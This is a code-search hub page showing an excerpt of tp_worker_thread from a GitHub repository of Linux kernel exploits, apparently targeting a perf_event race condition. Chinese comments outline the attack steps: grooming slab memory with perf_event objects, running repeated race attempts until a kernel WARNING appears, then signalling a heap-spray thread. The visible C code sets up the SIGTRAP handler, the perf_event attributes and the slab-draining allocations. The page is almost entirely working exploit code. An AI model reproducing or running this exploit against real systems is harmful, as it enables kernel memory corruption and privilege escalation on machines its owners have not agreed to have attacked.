MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / tp_worker_thread

Function tp_worker_thread

CVE-2026-23271/exploit/exploit.cpp:1406–1630  ·  view source on GitHub ↗

[1] Slab布局与竞态触发 T1 主 Worker 线程 (CPU 0): 竞态触发的 orchestrator 完整流程: 1. 注册 SIGTRAP 处理器 2. 预分配 drain 事件,填充 slab 布局 3. 分配 TOTAL_OBJS 个 perf_event 填充 slab 页 4. 根据 ID 选择目标事件 (PADDINGS+1 个 slab 后) 5. 构建 240-term filter 表达式 6. 多轮次执行竞态尝试 (tp_run_one_attempt),直到 WARNING 命中 7. 检测到 WARNING 后打开 spray gate,通知 sprayer 线程

Source from the content-addressed store, hash-verified

1404// 6. 多轮次执行竞态尝试 (tp_run_one_attempt),直到 WARNING 命中
1405// 7. 检测到 WARNING 后打开 spray gate,通知 sprayer 线程
1406void *tp_worker_thread(void *arg)
1407{
1408 (void)arg;
1409 struct perf_event_attr pe;
1410 struct sigaction sa;
1411 struct tp_run_cfg cfg;
1412 char *filter_expr = NULL;
1413 uint64_t base_id = 0;
1414 uint64_t target_id_wanted;
1415 unsigned long attempt_seq = 0;
1416
1417 tp_set_thread_affinity(0);
1418// [1-1] 注册 SIGTRAP 处理器 - 信号处理注册代码,用于捕获和处理 SIGTRAP 信号
1419 memset(&sa, 0, sizeof(sa));
1420 sa.sa_sigaction = tp_sigtrap_handler; // tp_sigtrap_handler() - 统计 perf_event 产生的 SIGTRAP 数量
1421 sa.sa_flags = SA_SIGINFO; // SA_SIGINFO 标志表示使用三参数的信号处理函数
1422 sigemptyset(&sa.sa_mask);
1423 if (sigaction(SIGTRAP, &sa, NULL) < 0) {
1424 perror("sigaction(SIGTRAP)");
1425 __atomic_store_n(&tp_spray_gate, -1, __ATOMIC_RELEASE);
1426 stop_threads = 1;
1427 exit_threads = 1;
1428 return NULL;
1429 }
1430
1431 memset(&cfg, 0, sizeof(cfg));
1432 cfg.event_id = TP_FIXED_EVENT_ID;
1433 cfg.delay_ns = TP_FIXED_DELAY_NS;
1434 cfg.tries_per_round = TP_FIXED_TRIES_PER_ROUND;
1435 cfg.mode = TP_FIXED_MODE;
1436 cfg.filter_terms = TP_FIXED_FILTER_TERMS;
1437 cfg.futex_timeout_ms = TP_FIXED_FUTEX_TIMEOUT_MS;
1438 cfg.hog_ns = TP_FIXED_HOG_NS;
1439 cfg.verbose = TP_FIXED_VERBOSE;
1440 cfg.drain_every_attempts = TP_FIXED_DRAIN_EVERY;
1441 cfg.drain_sleep_us = TP_FIXED_DRAIN_SLEEP_US;
1442 cfg.prime_every_attempts = TP_FIXED_PRIME_EVERY;
1443 cfg.warn_wake_predelay_ns = TP_FIXED_WARN_WAKE_PREDELAY_NS;
1444 cfg.profile_name = "A";
1445
1446 memset(&pe, 0, sizeof(pe));
1447 pe.type = PERF_TYPE_TRACEPOINT;
1448 pe.size = sizeof(pe);
1449 pe.config = cfg.event_id;
1450 pe.disabled = 1;
1451 pe.exclude_kernel = 1;
1452 pe.exclude_hv = 1;
1453 pe.sigtrap = 1;
1454 pe.remove_on_exec = 1;
1455 pe.sample_period = 1;
1456 pe.sample_type = PERF_SAMPLE_IP;
1457// [1-2] 预分配 drain 事件,填充 slab 布局
1458 for (int i = 0; i < DRAIN_COUNT; i++) {
1459 drain_fds[i] = perf_event_open(&pe, 0, -1, -1, PERF_FLAG_FD_CLOEXEC);
1460 if (i == 0 && drain_fds[0] != -1)
1461 (void)ioctl(drain_fds[0], PERF_EVENT_IOC_ID, &base_id); // 读取 event->id
1462 }
1463

Callers

nothing calls this directly

Calls 14

tp_set_thread_affinityFunction · 0.85
sigactionClass · 0.85
perf_event_openFunction · 0.85
tp_build_filter_exprFunction · 0.85
tp_maybe_low_freq_drainFunction · 0.85
tp_read_kernel_taintedFunction · 0.85
tp_taint_warn_bit_setFunction · 0.85
tp_run_one_attemptFunction · 0.85
get_time_nsFunction · 0.85

Tested by

no test coverage detected